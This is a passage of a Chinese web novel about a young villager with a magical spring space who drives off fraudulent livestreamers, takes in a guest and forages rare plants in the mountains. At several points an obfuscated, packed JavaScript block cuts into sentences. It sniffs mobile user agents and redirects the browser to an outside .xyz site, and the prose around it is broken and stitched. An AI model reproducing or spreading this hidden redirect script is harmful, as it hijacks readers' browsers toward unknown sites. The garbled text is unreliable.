虽然莫天扬戴着口罩，但这两天在灶台前忙碌的身影早已被众人熟知。 “厨神！他们打着‘青木村蔬菜’的旗号直播骗人！卖的都是普通菜，却按‘青木菜’的价卖！”人群中有人高喊。 莫天扬微微一怔。前些天被叫“狼王”，现在又成了“厨神”？这称号来得可真快。 不过，这倒是给了他现成的理由！他盯着地上那两个色厉内荏的家伙，眼中寒意更盛：“打着青木村的名号行骗？滚出青木村！这里不欢迎你们这种败类！” “报…报警！我们要报警！”其中一个男人捂着脸，含糊不清地叫嚣。 莫天扬嗤笑一声：“报！尽管报！我倒要看看警察来了是抓骗子，还是抓揭穿骗局的！” 另一个挣扎着爬起来，指着莫天扬放狠话：“你等着！老子曝光你！明天开始，你看还有没有人敢来你们这破村！” 莫天扬摇摇头，不再看他们，深吸一口气，转向周围的人群，声音沉稳而有力：“各位！青木村是穷，沙窝窝里刨食吃！但我们穷，也要穷得有骨气！我在外面闯荡四年，送过外卖，捡过破烂，可再难，也没干过坑蒙拐骗的事！像他们这种货色——”他猛地一指那三人，“青木村，绝不欢迎！” “好！说得好！” “厨神好样的！” 热烈的掌声和叫好声瞬间爆发，如同潮水般涌来。 莫天扬最后冷冷地扫了那两人一眼，只吐出一个字：“滚！” 在众人鄙夷的目光和叫好声中，那三人如丧家之犬，灰溜溜地收拾东西狼狈逃窜。不止他们，其他几个混在人群里、打着同样算盘的主播也吓得脸色发白，手忙脚乱地收起设备溜了——被当众揭穿卖假货还挨揍？这“网红”生涯怕是要彻底完蛋！ 莫天扬这才走向被打的女孩。她已经坐了起来，正静静地看着他，眼神复杂难辨，带着一种探究和……奇异的平静？这反应让莫天扬十分意外。 寻常女孩遭遇这种殴打，恐怕早已哭成泪人。可她没哭，只是微微蹙着眉，眼神里透着一种倔强的坚韧。 “伤得重吗？要不要去医院看看？”莫天扬弯腰，伸出手想扶她。 “不用。”女孩的声音响起，清脆悦耳，带着字正腔圆的普通话，在这偏远的乡村显得格外动听。 莫天扬心头微动：“那…去我屋里洗洗？处理一下？” 他没注意到，女孩听到“去我屋里”时，眼中飞快地掠过一丝讶异。 “……嗯。”女孩轻轻点头，目光看向旁边，“我的包……” 莫天扬顺着她的视线看去，不远处散落着一大一小两个背包：“是那两个吧？我帮你拿。” 他拿起包，刚走出几步，就听到身后女孩压抑的痛哼声。他立刻停下脚步，转身，自然地伸出手臂让她扶住。手臂相触的瞬间，一种温软细腻的触感传来，更有一缕若有似无的、属于少女的清新体香钻入鼻息。从未与女孩如此近距离接触的莫天扬，心头没来由地一荡，耳根微微发热。 回到屋里，莫天扬将背包放在火炕上，转身去给女孩打水。靠着炕沿站立的女孩，目光扫过炕上随意堆放的名烟名酒，那双漂亮的杏目瞬间睁大，满是震惊——中华烟成条，飞天茅台成箱？这简陋的土屋里，竟藏着这些东西？ “水放这了。洗过的水倒进那边的泔水桶，再舀新的。你…换身干净衣服吧。”莫天扬放下水盆，指了指角落的桶，“我在外面守着。” 站在屋门外，莫天扬感觉时间仿佛被拉长了无数倍。他终于深刻体会到了书中所说的“等待女子梳妆是男人最大的煎熬”是何滋味。 不知过了多久，门“吱呀”一声开了。莫天扬下意识转身，整个人瞬间定在原地—— 门口站着的女孩，约莫二十出头，身姿高挑挺拔，目测有一米七五。洗去尘土后，一张未施粉黛的脸庞清丽绝伦，足以让任何男子心跳加速。简单的牛仔裤完美勾勒出她修长笔直的双腿和玲珑有致的曲线。一条干净利落的马尾辫垂在脑后，更添几分青春的朝气与活力。 看到莫天扬直直地盯着自己，女孩白皙的脸颊飞起两抹红霞，声音轻柔：“谢谢你。” 这声轻唤让莫天扬猛地回神，顿觉失礼，黝黑的脸上也泛起一丝不易察觉的红晕，他赶紧摆摆手：“该说谢的是我。你是为了揭穿骗局才被他们欺负的……说起来，是我们没及时阻止，让你受委屈了。你……真没事？” “没事，就挨了几下，不碍事。”女孩摇摇头，犹豫了一下，抬眸看向莫天扬，眼神带着一丝恳求，“那个……我其实是穷游过来的。你这里的蔬菜很特别，我从来没见过……我能不能……在你这里借住几天？你放心，我只要有个地方落脚就行，绝对不会添麻烦。” 莫天扬一愣，神情顿时变得复杂起来。若是个男子提出借宿，他二话不说就应了。可眼前是个如此出众的大姑娘……让她单独留在自己家，这孤男寡女的，在村里传出去…… 然而，想到她挺身而出却因此挨打，自己若断然拒绝，这绝非青木村人知恩图报的做派，他莫天扬也实在做不出这等事来。 女孩，似乎察觉到了莫天扬的为难，她没有再坚持，反而善解人意地说：“没关系，我过来的时候看到村里有不少空着的旧房子，我去那里将就几天就好。” 她这话让莫天扬心头猛地一紧，赶忙摆手：“那绝对不行！晚上山里的野兽会下来找吃的，万一碰上青狼就危险了！你先别急，我等下问问谁家有空房。实在不行……”他顿了顿，看向院子角落的简易帐篷，“我住外面帐篷，你住我屋。虽然条件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984755|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简陋，但好歹能遮风挡雨，安全。” “我睡外面就行。” 莫天扬不容置疑地摆摆手，指向不远处的遮阳棚：“你先去那边坐会儿休息，桌上有茶，自己泡。等会儿开饭，我让人给你送过来。要是身上疼得厉害，就去我屋里躺会儿。” “谢谢。”女孩感激地点点头，目光投向那片生机勃勃的菜地，“那……我能不能在你这院子里看看？” 莫天扬顺着她的视线，看到大青和小白正警惕地望着这边。他朝它们指了指颜若曦，语气温和却带着不容置疑：“大青，小白，看好了，这是咱家的客人，不许吓唬人家。” 神奇的一幕发生了。大青、小白，甚至菜地里玩耍的小狼崽，都仿佛听懂了似的，竟朝着女孩的方向微微点了下头，然后转身，悄无声息地融入了葱郁的菜地深处。这通灵性的一幕，连莫天扬自己都感到几分意外。 “我叫颜若曦。”她轻声报上名字。 “颜若曦……”莫天扬身形微微一震，这个名字像一颗小石子投入心湖，荡开一圈涟漪。 这反应让颜若曦心头一跳：难道……他认出我了？ “你怎么了？”她试探着问。 莫天扬摇摇头，那丝异样的感觉稍纵即逝：“没事……只是觉得，这名字好像在哪里听过。”说完，他朝颜若曦摆了摆手，转身去忙了。 看着他离去的背影，颜若曦下意识地拍了拍胸口，长长舒了口气，可那双清澈的眼眸里，却悄然漫上了一丝难以言喻的失落。 要知道，在南开大学时，她是公认的校花。追求者如过江之鲫，想远远看她一眼的人更是数不胜数。那时的她，是校园里一道最亮丽的风景线。 她也知道莫天扬是校友，只是不同院系。刚才见他听到名字时明显停顿，她心底还升起一丝隐秘的期待——或许他记得她？却没想到，只是“耳熟”而已。这对一个曾经被无数目光追逐的女孩来说，多少有些……怅然。 但下一刻，颜若曦的目光重新聚焦在眼前这片神奇的菜地上，杏眸中那份失落迅速被一种纯粹的欣赏所取代。她深吸一口带着泥土和植物清香的空气，从背包里拿出了一套专业且价值不菲的摄影器材，脚步轻盈地踏入菜园。 在燕京，她每天都能品尝到莫天扬种出的蔬菜，那份鲜美已是震撼。但今天亲临此地，隔着铁丝网看到的景象已然让她惊叹。而真正踏入其中，扑面而来的生机与奇异，更是另一种维度的心灵冲击！ 饱满圆润、已经开始透出诱人红晕的西红柿；翠绿欲滴、浑身长满细密小刺的黄瓜；青翠剔透、宛如碧玉雕琢的青椒；形态奇特、从未见过的“鬼面虾”；鳞片闪耀着银白、金黄光泽的“银刀”、“黄鳞”、“金膏”……更别提池塘里，那些连她这位豪门千金都未曾见过的、绽放着梦幻般奇异色彩的荷花！每一种生命，都以最饱满的姿态冲击着她的视觉神经。 很快，身体上的疼痛仿佛被这蓬勃的生命力所驱散，颜若曦完全沉浸在这片不可思议的田园秘境之中，忘记了周遭的一切…… 第六十九章八卦的莫啸 网红**事件非但没有吓退人群，反而因为莫天扬那霸道出手、维护正义的举动，让青木村的人气不降反升，口碑更盛！ 网络上，一股支持青木村的声音迅速汇聚、蔓延。人们热议的核心是：任何地方都不该为了网红带来的流量而容忍其恶行！ 青木村敢于揭穿骗局、保护消费者的做法，值得所有人学习！这远比依赖那些无下限的流量来得硬气！ 莫天扬再次出现在露天灶台前时，虽然人群因大青的存在仍不敢靠得太近，但无数镜头却毫不吝啬地聚焦在这个戴着口罩的年轻人身上。他泰然自若，仿佛那些闪烁的镜头不过是灶台边跳跃的火苗。 开始排队买饭时，莫天扬也没忘了还在院子里的颜若曦，特意让曹慧给她送了一份热饭过去…… 忙完午饭，莫天扬匆匆扒了几口饭就回到院子。没看到颜若曦的身影，他以为她回屋休息了，便没有打扰，转身去了爷爷的屋子。 刚走到屋外，莫天扬就顿住了脚步——他听到爷爷正兴致勃勃地说着话，还有一个清脆的女声不时回应着，气氛显得格外融洽。 这…… 莫天扬惊讶地睁大了眼睛。他太了解爷爷了，老爷子平时话很少，就算是对相熟的老伙计也难得这样健谈。今天这是…… 推门进去，只见电视关着，爷爷莫啸正坐在炕沿上，脸上神采奕奕，连皱纹都舒展成愉悦的纹路，正和坐在一旁的颜若曦聊得火热。说的正是他年轻时的那些老黄历。 看到莫天扬进来，颜若曦连忙从炕沿上跳下来，有些不好意思：“我……” “没事，我来看看爷爷。慧姐送来的饭菜还合口味吗？够吃吗？”莫天扬问道。 “够够！特别好吃！”颜若曦眼睛亮晶晶的，“难怪网上都说青木村出了位‘厨神’呢！” “厨神？”莫啸疑惑地看向颜若曦。 颜若曦笑着指了指莫天扬：“就是您孙子呀！网上都传疯了，说他做的大烩菜堪称人间美味，连五星级酒店都想来挖人呢！” 莫啸撇了撇嘴，眼底却藏着一丝不易察觉的骄傲：“他那点三脚猫功夫，还想去五星酒店？能在十里八乡给人掌个勺、做顿酒席就不错了！” 颜若曦杏目圆睁，有些意外。莫天扬在一旁淡淡一笑：“我做菜都是跟爷爷学的皮**，爷爷觉得我还差着火候呢。” “爷爷，您原来也是大厨啊！”颜若曦惊喜地问。 莫啸哈哈一笑，腰板都挺直了几分：“想当年……” 莫天扬无奈地摇头，知道老爷子又要开启“想当年”的辉煌模式了。 “对了，”莫天扬转向颜若曦，“你需要什么样的帐篷？我让人下午捎回来。” 颜若曦赶忙摆手：“不用麻烦了！刚才慧慧姐过来看我，说她家就她和女儿雅婷两个人住，地方宽敞，邀请我去她那儿住呢。” “那也好，”莫天扬点点头，还是不放心，“不过被褥得准备厚实点，这边早晚温差大，没厚被褥可不行。” “厨神……”颜若曦刚开口。 “快别这么叫了，”莫天扬笑着打断，“叫我莫天扬，或者天扬都行。你刚才说宣传？” “对！”颜若曦来了精神，“你的蔬菜品质太特别了，不宣传出去太可惜！我想用直播的方式，把你的菜园、山鸡、野兔还有池塘里那些神奇的水产都展示给大家看！你放心，我绝对不带货，就是纯宣传！” 莫天扬点点头，他对这些新东西确实不懂：“行，你看着办吧。不过有一点，宣传得实实在在，不能弄虚作假。” “知道啦！”颜若曦笑容明媚，又转头对莫啸俏皮地说：“爷爷，我先去直播啦，回头再听您讲故事！”说完，像只轻盈的燕子飞出了屋子。 看着门关上，莫啸立刻笑眯眯地转向孙子，眼神里满是探究：“天扬啊，这个若曦姑娘，谈吐好，见识广，人也大气……你们俩这……” 莫天扬只觉得额角青筋一跳，无奈地扶额：“爷爷！您想哪儿去了！我今天才第一次见人家！人家就是好奇咱们这儿的菜，过来看看的！” 老爷子嘿嘿直笑，一副“我懂，我懂”的表情。这让莫天扬的老脸都有点发烫。 仓皇“逃”出爷爷那间充满八卦气息的小屋，莫天扬脸上还带着几分未散的尴尬。见颜若曦已经在菜地里架起设备，神情专注地开始直播，他便没去打扰，转身回自己屋，继续收拾上午留下的东西。 天色将晚，曹勇找了过来：“天扬，莫栓那边点头了。他那个老院子和那片沙地，七千六百块转给我。我嫌贵，专门过去磨了磨嘴皮子，可李翠花那婆娘咬**不松口，我就应下了。明天等莫老三下了葬，一手交钱，一手写契约，胡标和陈峰当公证人。” “行，”莫天扬点头，“勇叔，您这边先垫上现钱，回头我让克雄把钱转给您。” “不急这个。”曹勇摆摆手。 晚饭时分，院子里支起大灯，饭菜飘香。颜若曦虽是新来，却和曹慧颇为投缘，两人坐在一处有说有笑，气氛融洽。这景象让莫天扬心里也松快了几分。 众人正边吃边聊，莫红兵忽然放下筷子，看向莫天扬，语气有些凝重：“天扬，网上现在可不太平，冒出来好些主播在黑咱们青木村！” 胡标、陈峰这些老一辈对网络平台一窍不通，听得一脸茫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991451|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然。颜若曦则微微蹙起秀眉，清澈的眼眸里掠过一丝不悦。 她下意识看向莫天扬，却见他只是淡淡一笑，端起碗喝了口汤：“咱们村不是有句老话吗？听狗叫唤一晚上，贼该来还得来。咱又不指着网络拉人，踏踏实实把菜种好就成。他们爱咋说咋说，只要别真跑来村里捣乱就行。” “主要是他们不知道从哪拼了几张图，硬说是你，”莫红兵把手机递过去，“现在骂你是黑心老板的人可不少！” 莫天扬接过手机扫了一眼，不由得失笑摇头：“就这水平？拼图也挑张好看点的嘛，拼得这么磕碜。” 他这话一出，不仅颜若曦忍俊不禁，连曹勇他们都跟着哈哈大笑起来，饭桌上的气氛顿时轻松了。 笑声过后，陈峰看向莫天扬：“天扬，连着吃了三天炖鸡了，大伙儿嘴都有点‘馋新’了。明天……咱换个花样？” “带骨猪肉！”陈宏利抢着嚷嚷，一脸回味，“就上次那带骨野猪肉，香得我现在做梦还流口水呢！” 他们这一说，颜若曦听得一头雾水。她家里、爷爷家都有专门厨师，可这“带骨猪肉”的说法，还真是头一回听说。 “行，”莫天扬点头应下，“宏利，你跟凌哥联系，让他明天捎一整头猪来。剔下来的肉留着炒菜或者包包子。” “你们这儿还能吃到野猪肉？”颜若曦好奇地问。 陈宏利笑着朝莫天扬努努嘴：“山上的动物现在都是保护动物，想吃也犯法啊！不过天扬不是救了大青嘛，现在院里还养着二十多只小狼崽呢。山上的青狼念着这份情，隔三岔五就叼些野味送下来，不然我们哪能尝到这口鲜？”他压低声音，带着点神秘兮兮的得意。 颜若曦恍然大悟，杏眸里闪着好奇的光：“下午听阿姨说，你池塘里的鬼面虾、银刀、黄鳞、金膏这些稀罕物，也都是山里抓回来的？青木山的动物……是不是特别多？” 莫天扬点点头，神色却瞬间变得严肃起来，目光郑重地看向颜若曦：“青木山深处，几乎还是原始森林的样子，里面的物种确实很多。” 他语气突然加重，“你绝对不能试着进去！就算是外围区域，也常有青狼群、野猪群出没，这些都是凶猛的群居动物。别说普通人，就是过去村里最有经验的猎人碰上，都凶险万分！” 颜若曦被他严肃的语气震住，认真地点点头：“那你……你是怎么进去的？” 莫天扬指了指不远处正专心啃着大骨头的大青：“全靠它。”他的语气缓和下来，带着一丝感慨，“没有大青带着，我顶多也就在山脚下的红柳林、胡杨林边上转转，根本不敢往里走。” 第七十章你怎么来了 听着莫天扬的讲述，颜若曦心头微震。如今寻求刺激深入荒野的人不少，秦岭、神农架这样的原始丛林也常有人涉足，可“青木山”的名字却从未在探险圈子里掀起波澜。莫天扬口中这片与世隔绝的山林，让她感到一种截然不同的神秘。 见她面露惊异，胡标吸了口烟，语重心长地说：“姑娘，天扬说的都是实话。我们这些土生土长的，年轻那会儿也只敢在山口附近转悠。” “姑娘，听你口音不是本地人吧？你这……”另一位村民好奇地问。 “叔，我从燕京来的，”颜若曦坦然道，“在网上看到青木村种出高品质蔬菜的新闻，就想着过来实地看看。” “你一个姑娘家敢自个儿跑到这地方？胆子可真不小！”胡标皱起眉头，“啥时候走？走的时候可以搭送菜的车。” 颜若曦微微一笑：“叔，我想在这儿多待一阵子，用直播的方式，帮咱们村好好宣传一下这些真正的无公害蔬菜。” 众人的目光齐刷刷投向莫天扬。莫天扬心中轻叹，颜若曦今天刚因为揭穿骗子主播挨了打，若她执意留下，自己这个主人于情于理都难以拒绝——他更不愿背上忘恩负义的骂名。 “今天的事大家也都看见了，”莫天扬清了清嗓子，朗声道，“有人就想借着咱们村的名头坑蒙拐骗！咱们对网络这些新东西懂得少，颜姑娘愿意帮忙直播，不但能宣传咱的好菜，更能让所有人知道，咱青木村的菜，绝不靠那些骗人的主播往外卖！” “这倒是个实在法子！”众人纷纷点头赞同。 颜若曦悬着的心终于落下。她此行本就另有目的，能留下来是最好，没想到阴差阳错，竟以这种方式达成了心愿。 就在这时，几声突兀的爆竹声骤然响起，紧接着，一阵凄凉哀婉的唢呐声撕开了傍晚的寂静。所有人都循声望去。从未经历过乡村丧事的颜若曦茫然四顾，不明白这深更半夜为何会有炮声和唢呐。 “天扬，”一个村民凑近低语，“下午我去给莫老三烧纸，看见他家门口停了辆小汽车，听边上人说，那车值上百万呢！” “安云飞这些年油水可没少捞。以前他大闺女莫云不也常开几十万的车回来？八成是莫云开回来的。”有人猜测道。 胡标却摇摇头：“不是莫云的车，她那车我认得。” “没听说莫老三还有这么阔气的亲戚啊？” 一群人面面相觑，满脸困惑。莫老三这些年仗着女婿安云飞的势横行乡里，除了安家，他们实在想不出莫家还能攀上什么富贵亲戚。 “提他干啥！”有人不耐烦地打断，“人都**，明天就抬出去埋了，以后青木村再没这号人！莫栓这回从医院拿了小几十万赔偿，这辈子怕是都不会再踏进青木村一步了。” …… 莫老三家的小院笼罩在沉重的哀伤里。四个女儿伏在灵前哭得撕心裂肺。莫栓却像个局外人，心不在焉地蹲在院子角落，指间夹着半截烟，目光时不时瞟向父母生前住的那间老屋。 屋内，李翠花将一杯热茶轻轻放在一位两鬓斑白的老人面前，声音带着疲惫：“哥……你怎么过来了？” 李明宇看着眼前形容憔悴、头发花白的妹妹，深深叹了口气：“莫老三……好歹是我妹夫。人就这么走了，我这个做哥哥的，总该来看看。” 李翠花眼神陡然锐利，紧紧盯着李明宇：“哥！这么多年了，连莫老三都不知道你是我亲哥！在所有人眼里，你不过是个八竿子打不着的远房表哥。上次做豆芽生意，小辉被莫老三坑了五万多块，那时候起，在旁人看来，咱们这点血脉亲情早就断了！你真不该来……万一让当年那些仇家知道了……” “小妹，”李明宇的声音低沉却透着不容置疑的威严，“这些年你深居简出，当年的锐气都磨没了。仇家是不少，可他们眼里，李家早就绝户了！这些年我也没闲着，暗地里查访过那些对头，没一个成气候的。如今我手底下也有人脉，他们若真敢找上门来……”他冷哼一声，“那是自寻死路！” 李翠花依旧摇头，眼中是化不开的忧虑：“哥，别忘了！当年血洗李家的那个真凶……至今还没揪出来！别人不知道咱家的底细，他……可是一清二楚！” 话音落下，空气仿佛瞬间凝固。 “他不过是个当兵的！”李明宇语气带着一丝不屑与侥幸，“那个年头，炮火连天，有几个当兵的能囫囵个儿活下来？再说这都多少年过去了，骨头渣子怕是都烂没了！” 他话锋一转，眼神锐利地盯着李翠花：“对了，小妹，家里到底怎么回事？安云飞好端端的怎么进去了？妹夫他……怎么就一时想不开了？”这连番变故，让他心头疑窦丛生。 想到“莫天扬”这个名字，李翠花佝偻的身躯猛地绷直，浑浊的双眼瞬间迸射出刻骨的怨毒：“都是因为莫天扬那个小畜生！要不是他，老三怎么会……怎么会走那条绝路！”她枯瘦的手指紧紧攥着衣角，指节发白。 “莫天扬？”李明宇皱紧眉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她顿了顿，浑浊的眼珠里闪过一丝精明的算计：“哥，你不觉得奇怪吗？这小畜生，一个多月前还是个屁都不敢放的怂货，怎么突然就敢对栓子下死手？没过几天，手里就攥着大把的票子！老三活着的时候就琢磨过，他肯定是在老莫家那个破院子里……挖到了什么了不得的老物件！不然他哪来的胆子、哪来的本钱变得这么猖狂？” “老物件？”李明宇的眼神瞬间变得锐利如鹰，嘴角勾起一丝危险的弧度，“要真是这样……那我倒要好好‘会会’这个小杂碎了！” 第七十一章金银枣 当黑暗彻底笼罩大地，莫天扬送走最后一人。他走到爷爷屋前，隔着窗帘，望见老人依旧专注地盯着电视屏幕。莫天扬没有打扰，转身回了自己屋子。 唢呐声隐隐约约，如同呜咽的风，从远处飘来。莫天扬轻轻摇头，拍了拍身旁的大青：“看好院子，我去空间看看。” 踏入灵泉空间，一股清灵之气扑面而来。小白朝着远处游去，莫天扬看着它，心中升起一丝恍惚——不过月余光景，当初的小家伙竟已长到寻常土狗般大小，胡标他们见了都啧啧称奇。莫天扬心知肚明，小白和小狼崽们惊人的成长速度，皆因这方灵泉空间的神奇。 他转身，目光投向水域上漂浮的那片种植箱区域。先前的些许烦闷，瞬间被眼前的景象驱散。仅仅两三日未见，这片区域已然化作一片生机盎然的绿色海洋。尤其是种植西红柿的区域，累累果实宛如燃烧的火焰，红得耀眼夺目。 最底层的果实早已熟透，饱满欲滴；上面一层也已泛起诱人的红晕。莫天扬伸手摘下一个足有半斤重的西红柿。不同于市面上的普通货色，这西红柿呈现出深邃的绛紫色，表皮极薄，浓郁的、属于西红柿本真的清香扑鼻而来——这种纯粹的香气，莫天扬只在儿时的记忆里才闻到过。 轻轻一掰，丰盈的汁液如同蜂蜜般粘稠流淌，内里的籽粒更是饱满金黄，而非常见的淡黄。咬一口，酸甜交织，恰到好处，果肉沙糯的口感竟带着几分葡萄的细腻。一个下肚，莫天扬只觉得通体舒畅，心情大好。他下意识点头，这口感，似乎比几天前尝过的更胜一筹。 望着眼前已可收获的西红柿、黄瓜……喜悦之余，一丝忧虑爬上莫天扬心头。水中种植实验无疑是成功的，可如何将空间里这些非凡的蔬菜带出去，变成实实在在的运作资金，成了横亘在眼前的难题。 目光扫过漂浮朽木上密密麻麻、乌黑油亮的木耳，莫天扬再次摇头。这木耳的品质远超山中野生的顶级货，是他计划中回赠王林川等人的心意。它们每天都在生长，却如同空间里的蔬菜一样，面临着无法见光的困境。 …… 东方天际刚泛起一抹橘红，莫天扬便推开了房门。小白如一道白色闪电，从他身边窜了出去。莫天扬习惯性地走向古井，开启了抽水的闸门。 就在这时，几声爆竹的脆响骤然撕裂清晨的宁静，随即，凄凉的唢呐声呜咽着响起。莫天扬循声望去，目光复杂，最终化作一声几不可闻的叹息。 “天扬，送建材的车到了！” “嗯，你们几个盯着点。我进山一趟。” “进山？那外头的饭……”曹克雄有些迟疑。 “我这就去炖肉。做大烩菜的时候，请爷爷出去指点一下就行。” “天扬，你这会儿突然进山……”胡标压低声音，试探着问，“该不会是因为莫老三吧？” 莫天扬平静地摇头：“我和他们早已两不相干。前些日子沛川的朋友们送了厚礼，他们不缺钱，我总得进山弄点像样的山货，算是回礼。” “要不我们跟你进去搭把手……” “不用，有大青就够了。” 当太阳东升，莫天扬已经消失在郁郁葱葱的胡杨林，菜地中，正在拍摄的颜若曦看向曹克雄。 “你说莫天扬进山了，他怎么不说一声。” “前段时间天扬出了点意外，沛川、浅驼的朋友带着礼品过来看他，那些朋友都不差钱，天扬这不是想要进山弄点山货送给那些人。” “他不是说山里有很多大型肉食动物。” 曹克雄长叹一声，“咱们这些人不行，有大青保护，天扬不会有事。” 沐浴着青木山初晨的微凉，莫天扬穿梭在胡杨与红柳交织的密林间。无需刻意寻找引水渠的方位，他得以放慢脚步，细细观察这片山林孕育的生命。 目光所及，令他心头微动。丛林深处，山鸡野兔之外，竟生长着许多他识得的草药。虽不明具体药性，但儿时爷爷常采药晒干换钱，那些熟悉的名字早已刻入记忆——柴胡、甘草、防风……灵泉空间对黄芪、老山参乃至蔬菜的神奇滋养，让莫天扬确信这些药草若移入空间，必能脱胎换骨。于是，每遇一种认识的药草，他便小心翼翼地采摘一株，收入空间。 当他拨开一片繁茂的胡杨枝桠，脚步倏然顿住。眼前，一株奇异的树木攫住了他的目光：树高逾三米，主干粗如海碗，叶片竟泛着淡淡的银辉！更引人注目的是，浓密的叶簇之下，垂挂着一串串葡萄般大小的乳黄色小果！ “金银枣！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16000147|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”莫天扬心头猛地一跳，呼吸瞬间急促，眼中爆发出难以抑制的激动。 金银枣！这是青木山中一种近乎传说的稀世珍果。莫天扬只在幼时尝过寥寥数次，皆是爷爷偶然从深山里带回。他虽未见过枣树真容，却牢牢记住了爷爷的描述：银叶，金果，便是它独一无二的标志。 那甘美的滋味至今难忘。他曾央求爷爷多摘些，爷爷却摇头叹息，说此物在莽莽青木山中亦如凤**麟角，莫说外乡人，便是世代居住山下的老猎户，一生也未必能得见一株。 强压下翻涌的心绪，莫天扬快步上前，绕着这株宝树反复确认数次。深吸一口带着草木清香的空气，他不再犹豫，意念微动，一把铁锹便出现在手中。 纵然莫天扬的体魄经过灵泉水的脱胎换骨，远超常人，挖掘这株三米多高的金银枣也耗费了他半个多时辰的力气。汗水浸透了衣衫。 当枣树终于被完整掘出，根系显露的刹那，莫天扬再次感到了震撼。它的主干虽不算极高，但地下的根系却异常发达，盘根错节，最粗壮的一条主根竟延伸出五米开外！ 凝视着这庞大坚韧的根系，莫天扬心中豁然开朗：沙漠缺水，胡杨、红柳、骆驼刺等得以生存的沙地植物，无不依靠着深广发达的根系汲取水分。眼前这金银枣的根系之强韧，丝毫不逊于它们！一个念头在他心中萌发：若将此树移栽至村外的沙地，它能否成活？若能成功，金银枣不仅能带来珍贵的果实，更能成为防风固沙、抵御荒漠侵蚀的天然屏障！ 意念一动，沉重的金银枣树被移入空间。莫天扬微微一怔——以往挪移数百斤重物，总会伴随一阵明显的虚弱感。此刻，他却只觉有些疲惫，并无脱力之感。难道……空间的变化，也在悄然滋养着他的身体？ 就在这时，胸口那片神秘的印记蓦地传来熟悉的灼热。有过多次经验的莫天扬立刻明白，灵泉空间因这株奇异金银枣的进入，再次开始了某种蜕变。 他暂时按捺下进入空间一探的冲动，迅速将地上的巨大坑穴填平压实。随后，他轻唤一声：“大青，走！”身影再次投入密林深处，朝着那记忆中的深潭方向坚定前行——此行真正的目标，那生于幽潭之畔的雪灵菇，还在前方等待着他。 第七十二章绝品山货 随着不断深入青木山腹地，灵泉空间里的药草种类愈发丰富。莫天扬的身边，除了忠实的大青，又悄然汇聚了七八头矫健的青狼。 它们默契地在四周游弋守护，不仅为他提供了坚实的安全屏障，也顺带着将捕获的野兔、山鸡等猎物“贡献”进了灵泉空间，让空间里的“野味储备”又充实了不少。 有了狼群的护卫，莫天扬彻底放下对偷袭的顾虑，全神贯注地在莽莽林海中搜寻着可能的机缘。 当他翻过一道山梁，下到一条隐蔽的山涧时，眼前赫然出现一片茂密的灌木丛。这些灌木几乎覆盖了整个涧底，每一株都有一人多高，虬曲的枝干上布满漆黑的尖刺，叶片呈现出深沉的黑绿色。 看清这些灌木，莫天扬的眼睛瞬间亮了，嘴角抑制不住地上扬。“酸溜溜！”（学名沙棘），这是北方干旱地区常见的耐旱灌木。果实或红或黄，味道酸中带甜，是他儿时颇为喜爱却不敢多吃的零嘴——每次贪嘴过后，牙齿总要酸软好几天。 普通的沙棘并不稀奇，真正让莫天扬心头狂喜的，是眼前这片沙棘的不凡！它们的果实不仅个头硕大，色泽更显饱满诱人，远非山外那些酸涩的同类可比。这口感，怕是要胜过寻常沙棘不知多少倍！ 仔细查看了数十株，确认了它们的优异，莫天扬忍不住畅快地大笑起来。他万万没想到，这次临时起意的进山之旅，收获竟如此丰盛！不仅挖到了多种山中特有的药草，寻获了近乎绝迹的珍稀金银枣，此刻又撞见了这片品质超群的“酸溜溜”！ 说干就干！他立刻取出铁锹，小心地避开尖刺，开始挖掘移栽。一个多小时后，灵泉空间的水域边缘，便多了十几株黑绿健壮的沙棘幼苗，静静漂浮。 继续向深潭方向行进，沿途遇到了许多熟悉的野果。这些曾是童年解馋的美味，如今在见识过大学里琳琅满目的水果后，显得平凡无奇。即便带出去，恐怕也只能勾起人们短暂的好奇，难成气候。 日近正午，莫天扬终于再次踏足那片熟悉的草甸。目光扫过草丛，一颗颗硕大饱满、洁白如玉的雪灵菇映入眼帘。他心中一喜，立刻掏出一大叠厚实的袋子，蹲下身开始小心翼翼地采摘…… 